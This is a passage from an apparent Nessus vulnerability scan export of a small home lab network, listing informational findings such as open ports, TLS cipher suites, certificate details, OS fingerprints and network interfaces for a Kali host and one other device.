Without this information Nessus may not be able to identify installed
software or security vunerabilities that exist on the remote host.		n/a		https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page		Can't connect to the 'root\CIMV2' WMI namespace.										None								4/21/20		10/7/20

		10107						None		192.168.0.35		tcp		8834		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

NessusWWW										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10147						None		192.168.0.35		tcp		8834		Nessus Server Detection		A Nessus daemon is listening on the remote port.		A Nessus daemon is listening on the remote port.		Ensure that the remote Nessus installation has been authorized.		https://www.tenable.com/products/nessus/nessus-professional		
  URL               : https://192.168.0.35:8834/
  Version           : 18.11.2
  Nessus UI Version : 8.12.1
										None				IAVT:0001-T-0673				10/12/99		9/22/20

		10863						None		192.168.0.35		tcp		8834		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Organization: Nessus Users United
Organization Unit: Nessus Server
Locality: New York
Country: US
State/Province: NY
Common Name: kali

Issuer Name: 

Organization: Nessus Users United
Organization Unit: Nessus Certification Authority
Locality: New York
Country: US
State/Province: NY
Common Name: Nessus Certification Authority

Serial Number: 34 04 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Nov 05 16:00:51 2020 GMT
Not Valid After: Nov 04 16:00:51 2024 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 D1 31 37 84 9C 01 EC F6 D7 8A 1D 8B A5 49 22 29 E8 D7 C8 
            DE CF 24 04 52 9F 22 7C 37 6C 14 5F D6 6D E2 94 65 94 85 76 
            85 BF 0E E0 52 2D F4 91 A9 D7 B1 B4 6F 94 B8 79 B3 D1 51 8E 
            46 59 2D D3 2B 83 16 8E 92 5B E0 54 FC 10 23 E2 39 1E F8 2A 
            97 41 A6 74 FA 87 64 8B 4F 26 A0 CB 2E 2F 24 6E BE 1D 1C 09 
            DA 0C 69 E0 92 E5 E3 8C 15 E3 E5 DE D7 2A 6B 42 3C E2 43 D4 
            0D 41 8A BB 66 65 CF F0 38 24 B3 F1 47 85 0B FA 4A 8D BC 2A 
            24 C5 35 60 23 50 B8 A5 C0 9E 61 17 D6 16 40 9F E0 EE A4 0F 
            E5 1E 34 DF 26 24 74 FF BA 31 B7 8E A9 91 20 A4 6D 34 04 D1 
            C1 2E FD 04 21 A4 E1 BF 97 D5 7E 92 09 83 F9 37 76 85 EC B4 
            4E 9C 0E 13 41 07 63 7F 4C 0F 10 8D 2D 58 C6 94 80 47 EE F5 
            A6 37 51 93 65 0D 58 35 CE D4 FB 51 A6 8B 30 1E D8 89 59 A4 
            BF 2B D4 99 BD 9E CA EA 0B 1D C6 60 7E 21 87 A9 AD 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 16 6B B9 71 AF FD 8B 00 AD 85 B9 47 08 ED 64 E6 FD 4F A9 
           69 7D 26 5B C2 64 62 3D A5 FF 45 02 9C 30 F7 70 0D 03 5B 88 
           73 4B 27 91 22 88 89 4B 82 25 05 6C 0C 86 34 20 03 FD 70 C8 
           4D 0D AF AE E8 D0 D8 6A 08 57 38 9F 04 EF F1 64 BE AB 25 4D 
           63 70 73 09 0E 4D CB 07 13 B3 E4 0D 79 9B 9C F9 AC CB DB FF 
           79 04 FD D5 7A 49 6B 4D 68 CE 98 ED EA DC 99 D7 58 01 12 69 
           D0 5B 9F 4A 9B F0 11 3D 48 CE 61 C0 67 AC F2 60 30 1C 1D 61 
           DF DA B9 5F 6F ED 56 3D 27 BB EF 36 CF 7F F4 D1 E3 D6 85 06 
           1E BF 0B 03 C3 D4 42 B7 B5 29 A8 B3 6A 77 93 DB 2F 43 44 CC 
           40 7C 8A BC 4D 58 DB AC A9 0B 7D 2E 87 0E E8 F2 79 4C 37 EF 
           96 EA F2 AE CE 2E 57 E0 4B 9E 70 BC D7 A6 F5 42 5A 65 44 C2 
           2F 2A EE 12 EA CE 80 1F 43 30 C2 8C 5A 8E 92 DB 3B AC 4C 78 
           B6 AB 6B 94 1D 42 CC D6 FB 5E 12 5B 11 E9 F5 CF B0 

Extension: 2.16.840.1.113730.1.1
Critical: 0
Data: 03 02 06 40 


Extension: Key Usage (2.5.29.15)
Critical: 1
Key Usage: Digital Signature, Non Repudiation, Key Encipherment


Fingerprints : 

SHA-256 Fingerprint: 04 A9 90 A7 B5 D3 57 1B DC 8B 8D 80 4F B7 82 BE 4E C3 FF 0E 
                     BE 44 5D 6F 17 E0 B1 4C 8C 9B D3 81 
SHA-1 Fingerprint: EA 94 F4 27 8F B2 7B CD 08 17 3B 45 E9 B5 4E C2 F9 4D F8 15 
MD5 Fingerprint: 6D 19 5B DB 43 8C 67 A1 F9 85 C7 D6 3D 2C BB 2A 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11936						None		192.168.0.35		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 5.9.0-kali1-amd64
Confidence level : 99
Method : uname

 
The remote host is running Linux Kernel 5.9.0-kali1-amd64										None								12/9/03		3/9/20

		12634						None		192.168.0.35		tcp		0		Authenticated Check : OS Name and Installed Package Enumeration		This plugin gathers information about the remote host via an
authenticated session.		This plugin logs into the remote host using SSH, RSH, RLOGIN, Telnet,
or local commands and extracts the list of installed packages.

If using SSH, the scan should be configured with a valid SSH public
key and possibly an SSH passphrase (if the SSH public key is protected
by a passphrase).		n/a				Nessus can run commands on localhost to check if patches are applied.

The output of "uname -a" is :
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

Local security checks have NOT been enabled because the remote Linux
distribution is not supported.										None								7/6/04		7/23/20

		14272						None		192.168.0.35		tcp		8834		Netstat Portscanner (SSH)		Remote open ports can be enumerated via SSH.		Nessus was able to run 'netstat' on the remote host to enumerate the
open ports.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the 
event that the target being scanned is localhost.		n/a		https://en.wikipedia.org/wiki/Netstat		Port 8834/tcp was found to be open										None								8/15/04		6/12/20

		14272						None		192.168.0.35		udp		48692		Netstat Portscanner (SSH)		Remote open ports can be enumerated via SSH.		Nessus was able to run 'netstat' on the remote host to enumerate the
open ports.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the 
event that the target being scanned is localhost.		n/a		https://en.wikipedia.org/wiki/Netstat		Port 48692/udp was found to be open										None								8/15/04		6/12/20

		19506						None		192.168.0.35		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:10 EST
Scan duration : 363 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.35		tcp		8834		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv13
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    TLS_AES_128_GCM_SHA256        0x13, 0x01       -             -        AES-GCM(128)           AEAD
    TLS_AES_256_GCM_SHA384        0x13, 0x02       -             -        AES-GCM(256)           AEAD
    TLS_CHACHA20_POLY1305_SHA256  0x13, 0x03       -             -        ChaCha20-Poly1305(256) AEAD


SSL Version : TLSv12
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x30       ECDH          RSA      AES-GCM(256)           SHA384
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.35		tcp		8834		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1.2 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.35		tcp		8834		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.2.										None								8/19/07		8/18/20

		24260						None		192.168.0.35		tcp		8834		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Cache-Control: must-revalidate
  X-Frame-Options: DENY
  Content-Type: text/html
  ETag: 8c91c8672913d5c9bc4aef651affdac4
  Connection: close
  X-XSS-Protection: 1; mode=block
  Server: NessusWWW
  Date: Thu, 05 Nov 2020 18:10:50 GMT
  X-Content-Type-Options: nosniff
  Content-Length: 861
  Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content; form-action 'self'; frame-ancestors 'none'; frame-src https://store.tenable.com; default-src 'self'; script-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; object-src 'none'
  Strict-Transport-Security: max-age=31536000
  Expect-CT: max-age=0
  
Response Body :

<!doctype html>
<html lang="en">
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
        <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests; block-all-mixed-content; form-action 'self'; frame-src https://store.tenable.com; default-src 'self'; script-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; object-src 'none'" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta charset="utf-8" />
        <title>Nessus</title>
        <link rel="stylesheet" href="nessus6.css?v=1603823618397" />
        <!--[if lt IE 11]>
            <script>
                window.location = '/unsupported6.html';
            </script>
        <![endif]-->
        <script src="nessus6.js?v=1603823618397"></script>
    </head>
    <body>
    </body>
</html>
										None								1/30/07		11/22/19

		25202						None		192.168.0.35		tcp		0		Enumerate IPv6 Interfaces via SSH		Nessus was able to enumerate the IPv6 interfaces on the remote host.		Nessus was able to enumerate the network interfaces configured with
IPv6 addresses by connecting to the remote host via SSH using the
supplied credentials.		Disable IPv6 if you are not actually using it. Otherwise, disable any
unused IPv6 interfaces.				
The following IPv6 interfaces are set on the remote host :

 - fe80::a00:27ff:fe5c:6526 (on interface eth0)
 - 2a02:c7f:8a1e:9000:31cc:99cf:8b94:e5b3 (on interface eth0)
 - fd3a:bfbb:7a9f:0:6bc:bae2:703d:af77 (on interface eth0)
 - fd3a:bfbb:7a9f:0:a00:27ff:fe5c:6526 (on interface eth0)
 - 2a02:c7f:8a1e:9000:a00:27ff:fe5c:6526 (on interface eth0)
 - ::1 (on interface lo)
										None								5/11/07		1/26/17

		25203						None		192.168.0.35		tcp		0		Enumerate IPv4 Interfaces via SSH		Nessus was able to enumerate the IPv4 interfaces on the remote host.		Nessus was able to enumerate the network interfaces configured with
IPv4 addresses by connecting to the remote host via SSH using the
supplied credentials.		Disable any unused IPv4 interfaces.				
The following IPv4 addresses are set on the remote host :

 - 192.168.0.35 (on interface eth0)
 - 127.0.0.1 (on interface lo)
										None								5/11/07		1/26/17

		33276						None		192.168.0.35		tcp		0		Enumerate MAC Addresses via SSH		Nessus was able to enumerate MAC addresses on the remote host.		Nessus was able to enumerate MAC addresses by connecting to the remote
host via SSH with the supplied credentials.		Disable any unused interfaces.				
The following MAC address exists on the remote host :

  - 08:00:27:5c:65:26 (interface eth0)
										None								6/30/08		8/13/18

		35716						None		192.168.0.35		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

08:00:27:5C:65:26 : PCS Systemtechnik GmbH
										None								2/19/09		5/13/20

		42822						None		192.168.0.35		tcp		8834		Strict Transport Security (STS) Detection		The remote web server implements Strict Transport Security.		The remote web server implements Strict Transport Security (STS).
The goal of STS is to make sure that a user does not accidentally
downgrade the security of his or her browser.

All unencrypted HTTP connections are redirected to HTTPS.  The browser
is expected to treat all cookies as 'secure' and to close the
connection in the event of potentially insecure situations.		n/a		http://www.nessus.org/u?2fb3aca6		
The STS header line is :

Strict-Transport-Security: max-age=31536000
										None								11/16/09		11/22/19

		45405						None		192.168.0.35		tcp		0		Reachable IPv6 address		The remote host may be reachable from the Internet.		Although this host was scanned through a private IPv4 or local scope
IPv6 address, some network interfaces are configured with global scope
IPv6 addresses.  Depending on the configuration of the firewalls and
routers, this host may be reachable from Internet.		Disable IPv6 if you do not actually using it. 

Otherwise, disable any unused IPv6 interfaces and implement IP
filtering if needed.				
The following global addresss were gathered :

  - 2a02:c7f:8a1e:9000:a00:27ff:fe5c:6526
  - 2a02:c7f:8a1e:9000:31cc:99cf:8b94:e5b3
										None								4/2/10		8/7/12

		45590						None		192.168.0.35		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:5.9

Following application CPE matched on the remote system :

  cpe:/a:tenable:nessus:18.11.2
										None								4/21/10		9/30/20

		50686		CVE-1999-0511		5.8		Medium		192.168.0.2		tcp		0		IP Forwarding Enabled		The remote host has IP forwarding enabled.		The remote host has IP forwarding enabled. An attacker can exploit
this to route packets through the host and potentially bypass some
firewalls / routers / NAC filtering. 

Unless the remote host is a router, it is recommended that you disable
IP forwarding.		On Linux, you can disable IP forwarding by doing :

echo 0 > /proc/sys/net/ipv4/ip_forward

On Windows, set the key 'IPEnableRouter' to 0 under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

On Mac OS X, you can disable IP forwarding by executing the command :

sysctl -w net.inet.ip.forwarding=0

For other systems, check with your vendor.														Medium								11/23/10		3/6/19

		54615						None		192.168.0.35		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 99
										None								5/23/11		5/23/11

		55472						None		192.168.0.35		tcp		0		Device Hostname		It was possible to determine the remote system hostname.		This plugin reports a device's hostname collected via SSH or WMI.		n/a				
  Hostname : kali
    kali (hostname command)										None								6/30/11		10/7/20

		56468						None		192.168.0.35		tcp		0		Time of Last System Startup		The system has been started.		Using the supplied credentials, Nessus was able to determine when the
host was last started.		n/a				
  reboot   system boot  5.9.0-kali1-amd6 Thu Nov  5 12:46   still running
  reboot   system boot  5.7.0-kali1-amd6 Thu Oct 29 10:52 - 12:37 (7+02:44)
  reboot   system boot  5.7.0-kali1-amd6 Mon Jul 27 13:59 - 15:49  (01:49)
  reboot   system boot  5.7.0-kali1-amd6 Mon Jul 27 13:33 - 15:49  (02:15)
  
  wtmp begins Mon Jul 27 13:33:47 2020
										None								10/12/11		6/19/18

		56984						None		192.168.0.35		tcp		8834		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.3/TLSv1.2.
										None								12/1/11		7/9/20

		57041						None		192.168.0.35		tcp		8834		SSL Perfect Forward Secrecy Cipher Suites Supported		The remote service supports the use of SSL Perfect Forward Secrecy
ciphers, which maintain confidentiality even if the key is stolen.		The remote host supports the use of SSL ciphers that offer Perfect
Forward Secrecy (PFS) encryption.  These cipher suites ensure that
recorded SSL traffic cannot be broken at a future date if the server's
private key is compromised.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange
https://en.wikipedia.org/wiki/Perfect_forward_secrecy		
Here is the list of SSL PFS ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x30       ECDH          RSA      AES-GCM(256)           SHA384
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								12/7/11		11/15/18

		64582						None		192.168.0.35		tcp		0		Netstat Connection Information		Nessus was able to parse the results of the 'netstat' command on the
remote host.		The remote host has listening ports or established connections that
Nessus was able to extract from the results of the 'netstat' command.

Note: The output for this plugin can be very long, and is not shown by default. To display it, enable verbose reporting in scan settings.		n/a														None								2/13/13		9/9/20

		70544						None		192.168.0.35		tcp		8834		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		86420						None		192.168.0.35		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 08:00:27:5C:65:26
										None								10/16/15		5/13/20

		97993						None		192.168.0.35		tcp		0		OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)		Information about the remote host can be disclosed via an
authenticated session.		Nessus was able to login to the remote host using SSH or local
commands and extract the list of installed packages.		n/a				
Nessus can run commands on localhost to check if patches are applied.

The output of "uname -a" is :
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

We are able to run commands on the remote host, but are unable to
currently identify it in this plugin.

Runtime : 1.163142 seconds
										None								5/30/17		6/12/20

		110695						None		192.168.0.35		tcp		0		Authentication Success - Local Checks Not Available		The local security checks are unavailable.		Local security checks are not available for this host because they
may be infeasible or may not be supported by Nessus. The credentials
supplied in the scan policy may have been successful, but local
security checks cannot be performed at this time.		If local security checks are required for this host, contact Tenable
support.				A successful connection to the remote host was established, but local
security checks are not available.

Plugin      : ssh_get_info.nasl
Plugin ID   : 12634
Plugin Name : Authenticated Check : OS Name and Installed Package Enumeration
Report      :
====================
Nessus can run commands on localhost to check if patches are applied.

The output of "uname -a" is :
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux

Local security checks have NOT been enabled because the remote Linux
distribution is not supported.
====================
										None				IAVB:0001-B-0521				6/26/18		9/22/20

		117886						None		192.168.0.35		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : ssh_get_info2.nasl
    Plugin ID   : 97993
    Plugin Name : OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)
    Protocol    : LOCALHOST
    Message     : Debian version does not match known patterns

  - Plugin      : hostlevel_checks_unavailable.nasl
    Plugin ID   : 110695
    Plugin Name : Authentication Success - Local Checks Not Available
    Message     : Local security checks are unavailable.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		136318						None		192.168.0.35		tcp		8834		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		138330						None		192.168.0.35		tcp		8834		TLS Version 1.3 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.3.		N/A		https://tools.ietf.org/html/rfc8446		TLSv1.3 is enabled and the server supports at least one cipher.										None								7/9/20		7/9/20

		10107						None		192.168.0.8		tcp		5000		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

AirTunes/211.1										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.8		tcp		9006		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Sky										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.8		tcp		9091		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

WebSocket++/0.4.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10287						None		192.168.0.8		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.8 : 
192.168.0.35
192.168.0.8

Hop Count: 1
										None								11/27/99		8/20/20

		10386						None		192.168.0.8		tcp		9080		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				
Unfortunately, Nessus has been unable to find a way to recognize this
page so some CGI-related checks have been disabled.
										None								4/28/00		6/12/20

		11153						None		192.168.0.8		tcp		4545		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				AIX Global ODM (a component from HACMP) is running on this port.										None								11/18/02		11/26/18

		11153						None		192.168.0.8		tcp		9091		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				A web server seems to be running on this port.										None								11/18/02		11/26/18

		11219						None		192.168.0.8		tcp		4545		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4545/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		5000		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5000/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		8008		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8008/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		8080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		9006		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9006/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.8		tcp		9091		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9091/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.8		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		19506						None		192.168.0.8		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
